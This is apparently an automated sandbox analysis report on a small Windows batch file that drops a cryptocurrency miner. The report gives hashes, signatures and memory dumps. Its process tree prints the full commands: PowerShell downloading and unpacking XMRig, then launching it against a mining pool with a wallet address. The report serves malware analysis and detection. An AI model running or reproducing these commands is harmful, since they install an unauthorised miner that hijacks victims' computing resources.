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Analysis

  • max time kernel
    4s
  • max time network
    293s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2023, 05:54

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 24 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4512
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
        PID:1632

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      a59e15fe369c23f4c0514f8459c770de

      SHA1

      6b53935d4115ae52d23447759dc963955688bef1

      SHA256

      4c5607f14e0117d936eda5fb9d12925e3614ae79ff0ee119444b75134b1c0af6

      SHA512

      2ff454c479c5f3c4a843bc427d0600413db48aec7d10e3b15612288dcef43fb8485767d78f1caba95c38d3128371b63d57e2d76d0a0abd5cd5f8c62d5aee46b5

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yd5hsuae.iqg.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

      Filesize

      286KB

      MD5

      33a29f8210c1522f91d2c853afc81dc5

      SHA1

      11a5dc490796f91f9ac8b76dc05b52782056cd6f

      SHA256

      37b6c315f3467918fc1ce07024e3b7c50eb360be4a5a239d9d6631758ca557ad

      SHA512

      750c25b60859803a472a19b411477af599874a449b0b9659daa784c90e2a5dc8a656d5a9c78ffa45afb891e5b68d03794857ce8b8d4e7b51d28c036080f2773d

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

      Filesize

      261KB

      MD5

      70e8d639d124b4b28e6bdfa392e7df05

      SHA1

      bd656cce146fc9329b25678fd04cce98fd4f65c0

      SHA256

      b34b939c1c786846429c00e4b4a12bc1a20b1de57ec3ed76ea8682c4b27b3f44

      SHA512

      855fda118e778d167e3c3f96f519a0d8c0ce7316c8e4d4949b59502522176deff3b9c54e2ce93e6f819f1113c0b4bb215c04f3b72d141ffe3c7ef0cf8b3e2f18

    • memory/1632-81-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-59-0x000001CF3DE50000-0x000001CF3DE70000-memory.dmp

      Filesize

      128KB

    • memory/1632-93-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-92-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-91-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-90-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-89-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-88-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-87-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-86-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-85-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-84-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-70-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-60-0x000001CF3F760000-0x000001CF3F7A0000-memory.dmp

      Filesize

      256KB

    • memory/1632-61-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-63-0x000001CF3F7A0000-0x000001CF3F7C0000-memory.dmp

      Filesize

      128KB

    • memory/1632-64-0x000001CF3F7C0000-0x000001CF3F7E0000-memory.dmp

      Filesize

      128KB

    • memory/1632-62-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-65-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-66-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-68-0x000001CF3F7C0000-0x000001CF3F7E0000-memory.dmp

      Filesize

      128KB

    • memory/1632-67-0x000001CF3F7A0000-0x000001CF3F7C0000-memory.dmp

      Filesize

      128KB

    • memory/1632-83-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-69-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-78-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-72-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-73-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-74-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-75-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-76-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-77-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-71-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-79-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-80-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/1632-82-0x00007FF62D8F0000-0x00007FF62E3F3000-memory.dmp

      Filesize

      11.0MB

    • memory/3336-2-0x000001AB0C060000-0x000001AB0C082000-memory.dmp

      Filesize

      136KB

    • memory/3336-16-0x00007FFEF5F10000-0x00007FFEF69D1000-memory.dmp

      Filesize

      10.8MB

    • memory/3336-11-0x000001AB24700000-0x000001AB24710000-memory.dmp

      Filesize

      64KB

    • memory/3336-12-0x000001AB24700000-0x000001AB24710000-memory.dmp

      Filesize

      64KB

    • memory/3336-10-0x00007FFEF5F10000-0x00007FFEF69D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4512-56-0x00007FFEF5F10000-0x00007FFEF69D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4512-32-0x0000026421380000-0x0000026421392000-memory.dmp

      Filesize

      72KB

    • memory/4512-33-0x0000026421360000-0x000002642136A000-memory.dmp

      Filesize

      40KB

    • memory/4512-27-0x00007FFEF5F10000-0x00007FFEF69D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4512-29-0x0000026406EB0000-0x0000026406EC0000-memory.dmp

      Filesize

      64KB

    • memory/4512-31-0x0000026406EB0000-0x0000026406EC0000-memory.dmp

      Filesize

      64KB

    • memory/4512-30-0x0000026406EB0000-0x0000026406EC0000-memory.dmp

      Filesize

      64KB